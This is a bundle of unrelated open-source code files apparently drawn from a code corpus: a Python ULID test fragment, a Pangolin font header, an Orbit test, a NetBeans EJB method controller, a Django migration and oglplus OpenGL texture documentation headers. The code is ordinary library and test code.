Assert :meth:`~ulid.api.api.Api.from_randomness` calls :meth:`~ulid.providers.base.Provider.timestamp` for a value.
"""
mock_api.from_randomness(valid_bytes_80)
mock_api.provider.timestamp.assert_called_once_with()
mock_api.provider.randomness.assert_not_called()
| 1,041
|
662
|
/* This file is part of the Pangolin Project.
* http://github.com/stevenlovegrove/Pangolin
*
* Copyright (c) 2015 <NAME>
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#pragma once
#include <pangolin/gl/gltext.h>
#include <cstdio>
#include <cstdarg>
namespace pangolin {
class PANGOLIN_EXPORT GlFont
{
public:
// Singleton instance if requested.
static GlFont& I();
// Load GL Font data. Delay uploading as texture until first use.
GlFont(const unsigned char* ttf_buffer, float pixel_height, int tex_w=512, int tex_h=512);
GlFont(const std::string& filename, float pixel_height, int tex_w=512, int tex_h=512);
virtual ~GlFont();
// Generate renderable GlText object from this font.
GlText Text( const char* fmt, ... );
GlText Text( const std::string& str );
inline float Height() const {
return font_height_px;
}
protected:
void InitialiseFont(const unsigned char* ttf_buffer, float pixel_height, int tex_w, int tex_h);
// This can only be called once GL context is initialised
void InitialiseGlTexture();
const static int FIRST_CHAR = 32;
const static int NUM_CHARS = 96;
float font_height_px;
int tex_w;
int tex_h;
unsigned char* font_bitmap;
GlTexture mTex;
GlChar chardata[NUM_CHARS];
GLfloat kern_table[NUM_CHARS*NUM_CHARS];
};
}
| 764
|
716
|
<reponame>ioperations/orbit<gh_stars>100-1000
// Copyright (c) 2021 The Orbit Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "PdbFileLlvm.h"
#include "PdbFileTest.h"
using orbit_object_utils::PdbFileLlvm;
INSTANTIATE_TYPED_TEST_SUITE_P(PdbFileLlvmTest, PdbFileTest, ::testing::Types<PdbFileLlvm>);
| 147
|
1,056
|
<filename>enterprise/j2ee.ejbcore/src/org/netbeans/modules/j2ee/ejbcore/api/methodcontroller/SessionMethodController.java
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.j2ee.ejbcore.api.methodcontroller;
import java.io.IOException;
import org.netbeans.modules.j2ee.core.api.support.java.method.MethodModel;
import org.netbeans.modules.j2ee.dd.api.ejb.EjbJarMetadata;
import org.netbeans.modules.j2ee.dd.api.ejb.Session;
import org.netbeans.modules.j2ee.metadata.model.api.MetadataModel;
import org.netbeans.modules.j2ee.metadata.model.api.MetadataModelAction;
import org.openide.util.Exceptions;
/**
*
* @author <NAME>
* @author <NAME>
*/
public final class SessionMethodController extends AbstractMethodController {
private final MetadataModel<EjbJarMetadata> model;
private final String sessionType;
private final boolean allowsNoInterface;
public SessionMethodController(final String ejbClass, MetadataModel<EjbJarMetadata> model) {
this(ejbClass, model, false);
}
public SessionMethodController(final String ejbClass, MetadataModel<EjbJarMetadata> model, boolean allowsNoInterface) {
super(ejbClass, model);
this.model = model;
this.allowsNoInterface = allowsNoInterface;
String resultSessionType = null;
try {
resultSessionType = model.runReadAction(new MetadataModelAction<EjbJarMetadata, String>() {
public String run(EjbJarMetadata metadata) throws Exception {
Session session = (Session) metadata.findByEjbClass(ejbClass);
if (session != null) {
return session.getSessionType();
}
return null;
}
});
} catch (IOException ioe) {
Exceptions.printStackTrace(ioe);
}
this.sessionType = resultSessionType;
}
@Override
public boolean hasJavaImplementation(MethodModel intfView) {
return true;
}
@Override
public boolean hasJavaImplementation(MethodType methodType) {
return true;
}
@Override
public MethodType getMethodTypeFromImpl(MethodModel implView) {
MethodType methodType = null;
if (implView.getName().startsWith("ejbCreate")) {
methodType = new MethodType.CreateMethodType(implView);
} else if (!implView.getName().startsWith("ejb")) {
methodType = new MethodType.BusinessMethodType(implView);
}
return methodType;
}
@Override
public MethodType getMethodTypeFromInterface(MethodModel clientView) {
// see if the interface is home or local home, otherwise assume business
String localHome = getLocalHome();
String home = getHome();
if ((localHome != null && findInClass(localHome, clientView)) || (home != null && findInClass(home, clientView))) {
return new MethodType.CreateMethodType(clientView);
} else {
return new MethodType.BusinessMethodType(clientView);
}
}
public AbstractMethodController.GenerateFromImpl createGenerateFromImpl() {
return new SessionGenerateFromImplVisitor();
}
public AbstractMethodController.GenerateFromIntf createGenerateFromIntf() {
return new SessionGenerateFromIntfVisitor();
}
@Override
public boolean supportsMethodType(MethodType.Kind methodType) {
boolean stateless = Session.SESSION_TYPE_STATELESS.equals(sessionType);
return methodType == MethodType.Kind.BUSINESS || (!isSimplified() && !stateless && (methodType == MethodType.Kind.CREATE));
}
@Override
public boolean allowsNoInterface(){
return allowsNoInterface;
}
}
| 1,632
|
1,602
|
# Generated by Django 1.11.18 on 2019-07-05 08:45
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0016_auto_20180713_1014'),
]
operations = [
migrations.AlterField(
model_name='log',
name='message',
field=models.TextField(),
),
migrations.AlterField(
model_name='user',
name='language',
field=models.CharField(choices=[('br', 'breton'), ('cs', 'čeština'), ('de', 'deutsch'), ('en', 'english'), ('el_GR', 'ελληνικά'), ('es', 'español'), ('fr', 'français'), ('it', 'italiano'), ('ja_JP', '日本の'), ('nl', 'nederlands'), ('pt_PT', 'português'), ('pt_BR', 'português (BR)'), ('pl_PL', 'polski'), ('ro_RO', 'Română'), ('ru', 'русский'), ('sv', 'svenska'), ('tr_TR', 'türk'), ('zh_TW', '中文(台灣)')], default='en', help_text='Prefered language to display pages.', max_length=10, verbose_name='language'),
),
]
| 470
|
364
|
/*
* Copyright 2014-2019 <NAME>. Distributed under the Boost
* Software License, Version 1.0. (See accompanying file
* LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
*/
//[oglplus_texture_subtype
template <>
struct __ObjectSubtype<__tag_Texture> {
using Type = __TextureTarget;
};
//]
//[oglplus_texture_common
template <>
class __ObjCommonOps<__tag_Texture> : public __TextureName {
public:
using Target = __TextureTarget; /*<
Texture bind target.
>*/
static __TextureName Binding(__TextureTarget target); /*<
Returns the texture currently bound to the specified [^target].
See [glfunc GetIntegerv].
>*/
static void Bind(__TextureTarget target, __TextureName texture); /*<
Binds the specified [^texture] to the specified [^target].
See [glfunc BindTexture].
>*/
void Bind(__TextureTarget target) const; /*<
Binds [^this] texture to the specified [^target].
See [glfunc BindTexture].
>*/
#if GL_VERSION_4_2 || GL_ARB_shader_image_load_store
static void BindImage(
__ImageUnitSelector unit,
__TextureName texture,
GLint level,
__Boolean layered,
GLint layer,
__AccessSpecifier access,
__ImageUnitFormat format); /*<
Binds a [^level] of [^texture] to an image
[^unit]. See [glfunc BindTextureImage].
>*/
#endif
#if GL_VERSION_4_4 || GL_ARB_multi_bind
static void Bind(
GLuint first,
const __Sequence<__TextureName>&
textures); /*<
Sequentially binds [^textures] to texture units starting with
[^first]. See [glfunc BindTextures].
>*/
static void BindImage(
GLuint first,
const __Sequence<__TextureName>&
textures); /*<
Sequentially binds [^textures] to image units starting with
[^first]. See [glfunc BindImageTextures].
>*/
#endif
static void Active(__TextureUnitSelector index); /*<
Specifies active texture unit for subsequent commands.
See [glfunc ActiveTexture].
>*/
static GLint Active(); /*<
Returns the currently active texture unit.
See [glfunc Get], [glconst ACTIVE_TEXTURE].
>*/
static __TextureTarget CubeMapFace(GLuint face); /*<
Returns one of the values for cube map faces
from the __TextureTarget enumeration. The value of [^face] must
be between 0 and 5 with the following meaning:
[itemized_list
[0 = [^__TextureTarget::CubeMapPositiveX]]
[1 = [^__TextureTarget::CubeMapNegativeX]]
[2 = [^__TextureTarget::CubeMapPositiveY]]
[3 = [^__TextureTarget::CubeMapNegativeY]]
[4 = [^__TextureTarget::CubeMapPositiveZ]]
[5 = [^__TextureTarget::CubeMapNegativeZ]]
]
>*/
#if GL_VERSION_4_3
void InvalidateImage(__SizeType level); /*<
Invalidates the specified [^level] of texture image.
See [glfunc InvalidateTexImage].
>*/
void InvalidateSubImage(
__SizeType level,
GLint xoffs,
GLint yoffs,
GLint zoffs,
__SizeType width,
__SizeType height,
__SizeType depth); /*<
Invalidates the specified part of texture image.
See [glfunc InvalidateTexSubImage].
>*/
#endif
#if GL_VERSION_4_4
template <typename GLtype>
void ClearImage(
__SizeType level,
__PixelDataFormat format,
const GLtype* data); /*<
Clears the specified [^level] of texture image.
See [glfunc ClearTexImage].
>*/
template <typename GLtype>
void ClearSubImage(
__SizeType level,
GLint xoffs,
GLint yoffs,
GLint zoffs,
__SizeType width,
__SizeType height,
__SizeType depth,
__PixelDataFormat format,
const GLtype* data); /*<
Clears the specified part of texture image.
See [glfunc ClearTexSubImage].
>*/
#endif
#if GL_VERSION_4_3 || GL_ARB_texture_view
void View(
__TextureTarget target,
__TextureName orig_texture,
__PixelDataInternalFormat internal_format,
GLuint min_level,
GLuint num_levels,
GLuint min_layer,
GLuint num_layers); /*<
References and reinteprets a subset of the data of
another texture. See [glfunc TextureView].
>*/
#endif
};
//]
//[oglplus_texture_1
template <>
class __ObjectOps<__tag_ExplicitSel, __tag_Texture>
: public __ObjZeroOps<__tag_ExplicitSel, __tag_Texture> /*<
Indirectly inherits from __ObjCommonOps_Texture<__tag_Texture>.
>*/
{
public:
struct Property {
using CompareMode = __TextureCompareMode;
using Filter = __TextureFilter;
using MagFilter = __TextureMagFilter;
using MinFilter = __TextureMinFilter;
using SwizzleCoord = __TextureSwizzleCoord;
using Swizzle = __TextureSwizzle;
#if GL_VERSION_3_3 || GL_ARB_texture_swizzle
using SwizzleTuple = __TextureSwizzleTuple;
#endif
using WrapCoord = __TextureWrapCoord;
using Wrap = __TextureWrap;
using PixDataType = __OneOf<__DataType, __PixelDataType>;
};
#if GL_VERSION_3_0
static __SizeType Width(__TextureTarget target, GLint level = 0); /*<
Returns the width of the texture image on the specified [^level].
See [glfunc GetTexLevelParameter], [glconst TEXTURE_WIDTH].
>*/
static __SizeType Height(__TextureTarget target, GLint level = 0); /*<
Returns the height of the texture image on the specified [^level].
See [glfunc GetTexLevelParameter], [glconst TEXTURE_HEIGHT].
>*/
static __SizeType Depth(__TextureTarget target, GLint level = 0); /*<
Returns the depth of the texture image on the specified [^level].
See [glfunc GetTexLevelParameter], [glconst TEXTURE_DEPTH].
>*/
static __PixelDataType RedType(__TextureTarget target, GLint level = 0); /*<
Returns the data type used to store the RED component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_RED_TYPE].
>*/
static __PixelDataType GreenType(
__TextureTarget target, GLint level = 0); /*<
Returns the data type used to store the GREEN component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_GREEN_TYPE].
>*/
static __PixelDataType BlueType(
__TextureTarget target, GLint level = 0); /*<
Returns the data type used to store the BLUE component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_BLUE_TYPE].
>*/
static __PixelDataType AlphaType(
__TextureTarget target, GLint level = 0); /*<
Returns the data type used to store the ALPHA component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_ALPHA_TYPE].
>*/
static __PixelDataType DepthType(
__TextureTarget target, GLint level = 0); /*<
Returns the data type used to store the DEPTH component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_DEPTH_TYPE].
>*/
static __SizeType RedSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the RED component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_RED_SIZE].
>*/
static __SizeType GreenSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the GREEN component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_GREEN_SIZE].
>*/
static __SizeType BlueSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the BLUE component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_BLUE_SIZE].
>*/
static __SizeType AlphaSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the ALPHA component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_ALPHA_SIZE].
>*/
static __SizeType DepthSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the DEPTH component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_DEPTH_SIZE].
>*/
static __SizeType StencilSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of the STENCIL component.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_STENCIL_SIZE].
>*/
static __SizeType SharedSize(__TextureTarget target, GLint level = 0); /*<
Returns the actual resolution of all texture components.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_SHARED_SIZE].
>*/
//]
//[oglplus_texture_2
static __SizeType CompressedImageSize(
__TextureTarget target, GLint level = 0); /*<
Returns the size (in bytes) of the image array if it is compressed.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_COMPRESSED_IMAGE_SIZE].
>*/
static __PixelDataInternalFormat InternalFormat(
__TextureTarget target, GLint level = 0); /*<
Returns the internal data format of the image array.
See [glfunc GetTexLevelParameter], [glconst TEXTURE_INTERNAL_FORMAT].
>*/
static void GetImage(
__TextureTarget target,
GLint level,
__PixelDataFormat format,
const __OutputData&
dest); /*<
Stores the image of the texture bound to
the specified texture [^target] with the specified [^level]
of detail in uncompressed form into the [^dest] buffer.
See [glfunc GetTexImage].
[note This function, unlike [^GetCompressedImage], does NOT
automatically resize the destination buffer so that
it can accomodate the texture data. The caller is responsible
for keeping track or querying the type of the texture, its
dimensions and current pixel transfer settings and resize
the [^dest] buffer accordingly.]
>*/
static void GetImage(
__TextureTarget target,
GLint level,
__PixelDataFormat format,
Property::PixDataType type,
__SizeType size,
GLvoid* buffer);
static void GetCompressedImage(
__TextureTarget target,
GLint level,
const __OutputData&
dest); /*<
Stores the image of the texture bound to
the specified texture [^target] with the specified [^level]
of detail in compressed form into the [^dest] buffer.
See [glfunc GetCompressedTexImage].
This function automatically resizes the buffer so that
it can accomodate the texture data.
>*/
static void GetCompressedImage(
__TextureTarget target, GLint level, std::vector<GLubyte>& dest);
static void GetCompressedImage(
__TextureTarget target, GLint level, __SizeType size, GLubyte* buffer);
#endif
static void Image3D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
__SizeType depth,
GLint border,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a three dimensional texture image.
See [glfunc TexImage3D].
>*/
static void Image3D(
__TextureTarget target,
const __images_Image& image,
GLint level = 0,
GLint border = 0);
static void SubImage3D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
GLint zoffs,
__SizeType width,
__SizeType height,
__SizeType depth,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a three dimensional texture subimage.
See [glfunc TexSubImage3D].
>*/
static void SubImage3D(
__TextureTarget target,
const __images_Image& image,
GLint xoffs,
GLint yoffs,
GLint zoffs,
GLint level = 0);
static void Image2D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
GLint border,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a two dimensional texture image.
See [glfunc TexImage2D].
>*/
static void Image2D(
__TextureTarget target,
const __images_Image& image,
GLint level = 0,
GLint border = 0);
static void ImageCM(
GLuint face,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
GLint border,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies the image of the selected cube-map face.
See [glfunc TexImage2D].
>*/
static void ImageCM(
GLuint face,
const __images_Image& image,
GLint level = 0,
GLint border = 0);
static void SubImage2D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
__SizeType width,
__SizeType height,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a two dimensional texture subimage.
See [glfunc TexSubImage2D].
>*/
static void SubImage2D(
__TextureTarget target,
const __images_Image& image,
GLint xoffs,
GLint yoffs,
GLint level = 0);
#if GL_VERSION_3_0
static void Image1D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
GLint border,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a one dimensional texture image.
See [glfunc TexImage1D].
>*/
static void Image1D(
__TextureTarget target,
const __images_Image& image,
GLint level = 0,
GLint border = 0);
static void SubImage1D(
__TextureTarget target,
GLint level,
GLint xoffs,
__SizeType width,
__PixelDataFormat format,
Property::PixDataType type,
const void* data); /*<
Specifies a one dimensional texture subimage.
See [glfunc TexSubImage1D].
>*/
static void SubImage1D(
__TextureTarget target,
const __images_Image& image,
GLint xoffs,
GLint level = 0);
#endif
static void Image(
__TextureTarget target,
const __images_Image& image,
GLint level = 0,
GLint border = 0); /*<
Specifies one, two or three dimensional texture image.
>*/
static void Image(
__TextureTarget target,
const __images_ImageSpec& image_spec,
GLint level = 0,
GLint border = 0);
//]
//[oglplus_texture_3
static void CopyImage2D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
GLint x,
GLint y,
__SizeType width,
__SizeType height,
GLint border); /*<
Copies a two dimensional texture image from the current
framebuffer. See [glfunc CopyTexImage2D].
>*/
#if GL_VERSION_3_0
static void CopyImage1D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
GLint x,
GLint y,
__SizeType width,
GLint border); /*<
Copies a one dimensional texture image from the current
framebuffer. See [glfunc CopyTexImage1D].
>*/
#endif
static void CopySubImage3D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
GLint zoffs,
GLint x,
GLint y,
__SizeType width,
__SizeType height); /*<
Copies a three dimensional texture subimage from the
current framebuffer. See [glfunc CopyTexSubImage3D].
>*/
static void CopySubImage2D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
GLint x,
GLint y,
__SizeType width,
__SizeType height); /*<
Copies a two dimensional texture subimage from the
current framebuffer. See [glfunc CopyTexSubImage2D].
>*/
#if GL_VERSION_3_0
static void CopySubImage1D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint x,
GLint y,
__SizeType width); /*<
Copies a one dimensional texture subimage from the current
framebuffer. See [glfunc CopyTexSubImage2D].
>*/
#endif
static void CompressedImage3D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
__SizeType depth,
GLint border,
__SizeType image_size,
const void* data); /*<
Specifies a three dimensional compressed texture image.
See [glfunc CompressedTexImage3D].
>*/
static void CompressedImage2D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
GLint border,
__SizeType image_size,
const void* data); /*<
Specifies a two dimensional compressed texture image.
See [glfunc CompressedTexImage2D].
>*/
#if GL_VERSION_3_0
static void CompressedImage1D(
__TextureTarget target,
GLint level,
__PixelDataInternalFormat internal_format,
__SizeType width,
GLint border,
__SizeType image_size,
const void* data); /*<
Specifies a one dimensional compressed texture image.
See [glfunc CompressedTexImage1D].
>*/
#endif
static void CompressedSubImage3D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
GLint zoffs,
__SizeType width,
__SizeType height,
__SizeType depth,
__PixelDataFormat format,
__SizeType image_size,
const void* data); /*<
Specifies a three dimensional compressed texture subimage.
See [glfunc CompressedTexSubImage3D].
>*/
static void CompressedSubImage2D(
__TextureTarget target,
GLint level,
GLint xoffs,
GLint yoffs,
__SizeType width,
__SizeType height,
__PixelDataFormat format,
__SizeType image_size,
const void* data); /*<
Specifies a two dimensional compressed texture subimage.
See [glfunc CompressedTexSubImage2D].
>*/
#if GL_VERSION_3_0
static void CompressedSubImage1D(
__TextureTarget target,
GLint level,
GLint xoffs,
__SizeType width,
__PixelDataFormat format,
__SizeType image_size,
const void* data); /*<
Specifies a one dimensional compressed texture subimage.
See [glfunc CompressedTexSubImage1D].
>*/
#endif
//]
//[oglplus_texture_4
#if GL_VERSION_3_2 || GL_ARB_texture_multisample
static void Image3DMultisample(
__TextureTarget target,
__SizeType samples,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
__SizeType depth,
__Boolean
fixed_sample_locations); /*<
Sets-up a three dimensional multisample texture.
See [glfunc TexImage3DMultisample].
>*/
static void Image2DMultisample(
__TextureTarget target,
__SizeType samples,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
__Boolean
fixed_sample_locations); /*<
Sets-up a two dimensional multisample texture.
See [glfunc TexImage3DMultisample].
>*/
#endif
#if GL_VERSION_3_1
static void Buffer(
__TextureTarget target,
__PixelDataInternalFormat internal_format,
__BufferName buffer); /*<
Assigns a buffer storing the texel data to the texture.
See [glfunc TexBuffer].
>*/
#endif
#if GL_VERSION_4_3
static void BufferRange(
__TextureTarget target,
__PixelDataInternalFormat internal_format,
__BufferName buffer,
GLintptr offset,
__BigSizeType size); /*<
Assigns a buffer range storing the texel data to the
texture. See [glfunc TexBufferRange].
>*/
#endif
#if GL_VERSION_4_2 || GL_ARB_texture_storage
static void Storage3D(
__TextureTarget target,
__SizeType levels,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height,
__SizeType depth); /*<
Specifies all levels of 3D texture at the same time.
See [glfunc TexStorage3D].
>*/
static void Storage2D(
__TextureTarget target,
__SizeType levels,
__PixelDataInternalFormat internal_format,
__SizeType width,
__SizeType height); /*<
Specifies all levels of 2D texture at the same time.
See [glfunc TexStorage2D].
>*/
static void Storage1D(
__TextureTarget target,
__SizeType levels,
__PixelDataInternalFormat internal_format,
__SizeType width); /*<
Specifies all levels of 1D texture at the same time.
See [glfunc TexStorage1D].
>*/
#endif
static GLuint BaseLevel(__TextureTarget target); /*<
Returns the texture base level.
See [glfunc GetTexParameter], [glconst TEXTURE_BASE_LEVEL].
>*/
static void BaseLevel(__TextureTarget target, GLuint level); /*<
Sets the texture base level.
See [glfunc TexParameter], [glconst TEXTURE_BASE_LEVEL].
>*/
#if GL_VERSION_3_0
static Vector<GLfloat, 4> BorderColor(
__TextureTarget target, __TypeTag<GLfloat>); /*<
Gets the texture border color.
See [glfunc GetTexParameter],
[glconst TEXTURE_BORDER_COLOR].
>*/
static Vector<GLint, 4> BorderColor(
__TextureTarget target, __TypeTag<GLint>);
static Vector<GLuint, 4> BorderColor(
__TextureTarget target, __TypeTag<GLuint>);
static void BorderColor(
__TextureTarget target,
Vector<GLfloat, 4>
color); /*<
Sets the texture border color.
See [glfunc TexParameter], [glconst TEXTURE_BORDER_COLOR].
>*/
static void BorderColor(__TextureTarget target, Vector<GLint, 4> color);
static void BorderColor(__TextureTarget target, Vector<GLuint, 4> color);
#endif
static __TextureCompareMode CompareMode(__TextureTarget target); /*<
Gets the texture compare mode.
See [glfunc GetTexParameter], [glconst TEXTURE_COMPARE_MODE].
>*/
static void CompareMode(
__TextureTarget target,
__TextureCompareMode
mode); /*<
Sets the texture compare mode.
See [glfunc TexParameter], [glconst TEXTURE_COMPARE_MODE].
>*/
static __CompareFunction CompareFunc(__TextureTarget target); /*<
Gets the texture compare function.
See [glfunc GetTexParameter], [glconst TEXTURE_COMPARE_FUNC].
>*/
static void CompareFunc(
__TextureTarget target,
__CompareFunction
func); /*<
Sets the texture compare function.
See [glfunc TexParameter], [glconst TEXTURE_COMPARE_FUNC].
>*/
//]
//[oglplus_texture_5
#if GL_VERSION_3_0
static GLfloat LODBias(__TextureTarget target); /*<
Gets the level-of-detail bias value.
See [glfunc GetTexParameter], [glconst TEXTURE_LOD_BIAS].
>*/
static void LODBias(__TextureTarget target, GLfloat value); /*<
Sets the level-of-detail bias value.
See [glfunc TexParameter], [glconst TEXTURE_LOD_BIAS].
>*/
#endif // GL_VERSION_3_0
static void Filter(
__TextureTarget target,
__TextureFilter filter); /*<
Sets both the minification and magnification filter.
See [glfunc TexParameter], [glconst
TEXTURE_MIN_FILTER], [glconst TEXTURE_MAG_FILTER].
>*/
static __TextureMagFilter MagFilter(__TextureTarget target); /*<
Gets the magnification filter.
See [glfunc GetTexParameter], [glconst TEXTURE_MAG_FILTER].
>*/
static void MagFilter(
__TextureTarget target,
__TextureMagFilter
filter); /*<
Sets the magnification filter.
See [glfunc TexParameter], [glconst TEXTURE_MAG_FILTER].
>*/
static __TextureMinFilter MinFilter(__TextureTarget target); /*<
Gets the minification filter.
See [glfunc GetTexParameter], [glconst TEXTURE_MIN_FILTER].
>*/
static void MinFilter(
__TextureTarget target,
__TextureMinFilter
filter); /*<
Sets the minification filter.
See [glfunc TexParameter], [glconst TEXTURE_MIN_FILTER].
>*/
static GLfloat MinLOD(__TextureTarget target); /*<
Gets minimal level-of-detail value.
See [glfunc GetTexParameter], [glconst TEXTURE_MIN_LOD].
>*/
static void MinLOD(__TextureTarget target, GLfloat value); /*<
Sets minimal level-of-detail value.
See [glfunc TexParameter], [glconst TEXTURE_MIN_LOD].
>*/
static GLfloat MaxLOD(__TextureTarget target); /*<
Gets maximal level-of-detail value.
See [glfunc GetTexParameter], [glconst TEXTURE_MAX_LOD].
>*/
static void MaxLOD(__TextureTarget target, GLfloat value); /*<
Sets maximal level-of-detail value.
See [glfunc TexParameter], [glconst TEXTURE_MAX_LOD].
>*/
static GLint MaxLevel(__TextureTarget target); /*<
Gets the maximum level value.
See [glfunc GetTexParameter], [glconst TEXTURE_MAX_LEVEL].
>*/
static void MaxLevel(__TextureTarget target, GLint value); /*<
Sets the maximum level value.
See [glfunc TexParameter], [glconst TEXTURE_MAX_LEVEL].
>*/
//]
//[oglplus_texture_6
static GLfloat MaxAnisotropy(__TextureTarget target); /*<
Gets the maximum anisotropy value.
See [glfunc TexParameter], [glconst MAX_TEXTURE_MAX_ANISOTROPY_EXT].
>*/
static GLfloat Anisotropy(__TextureTarget target); /*<
Gets the current anisotropy level.
See [glfunc GetTexParameter], [glconst TEXTURE_MAX_ANISOTROPY_EXT].
>*/
static void Anisotropy(__TextureTarget target, GLfloat value); /*<
Sets the anisotropy level.
See [glfunc TexParameter], [glconst TEXTURE_MAX_ANISOTROPY_EXT].
>*/
#if GL_VERSION_3_3 || GL_ARB_texture_swizzle
static __TextureSwizzle Swizzle(
__TextureTarget target,
__TextureSwizzleCoord
coord); /*<
Gets the swizzle parameter.
See [glfunc GetTexParameter], [glconst TEXTURE_SWIZZLE_R],
[glconst TEXTURE_SWIZZLE_G], [glconst TEXTURE_SWIZZLE_B],
[glconst TEXTURE_SWIZZLE_A], [glconst TEXTURE_SWIZZLE_RGBA].
>*/
static __TextureSwizzle SwizzleR(__TextureTarget target);
static __TextureSwizzle SwizzleG(__TextureTarget target);
static __TextureSwizzle SwizzleB(__TextureTarget target);
static __TextureSwizzle SwizzleA(__TextureTarget target);
static __TextureSwizzleTuple SwizzleRGBA(__TextureTarget target);
static void Swizzle(
__TextureTarget target,
__TextureSwizzleCoord coord,
__TextureSwizzle
mode); /*<
Sets the swizzle parameter.
See [glfunc TexParameter], [glconst TEXTURE_SWIZZLE_R],
[glconst TEXTURE_SWIZZLE_G], [glconst TEXTURE_SWIZZLE_B],
[glconst TEXTURE_SWIZZLE_A], [glconst TEXTURE_SWIZZLE_RGBA].
>*/
static void SwizzleR(__TextureTarget target, __TextureSwizzle mode);
static void SwizzleG(__TextureTarget target, __TextureSwizzle mode);
static void SwizzleB(__TextureTarget target, __TextureSwizzle mode);
static void SwizzleA(__TextureTarget target, __TextureSwizzle mode);
static void SwizzleRGBA(__TextureTarget target, __TextureSwizzle mode);
static void SwizzleRGBA(
__TextureTarget target,
__TextureSwizzle mode_r,
__TextureSwizzle mode_g,
__TextureSwizzle mode_b,
__TextureSwizzle mode_a);
static void SwizzleRGBA(
__TextureTarget target, const __TextureSwizzleTuple& modes);
#endif
static __TextureWrap Wrap(
__TextureTarget target,
__TextureWrapCoord
coord); /*<
Gets the texture wrap parameter.
See [glfunc GetTexParameter], [glconst TEXTURE_WRAP_S],
[glconst TEXTURE_WRAP_T], [glconst TEXTURE_WRAP_R].
>*/
static __TextureWrap WrapS(__TextureTarget target);
static __TextureWrap WrapT(__TextureTarget target);
static __TextureWrap WrapR(__TextureTarget target);
static void Wrap(
__TextureTarget target,
__TextureWrapCoord coord,
__TextureWrap
mode); /*<
Sets the texture wrap [^mode] on the specified coordinate.
See [glfunc TexParameter], [glconst TEXTURE_WRAP_S],
[glconst TEXTURE_WRAP_T], [glconst TEXTURE_WRAP_R].
>*/
static void WrapS(__TextureTarget target, __TextureWrap mode);
static void WrapT(__TextureTarget target, __TextureWrap mode);
static void WrapR(__TextureTarget target, __TextureWrap mode);
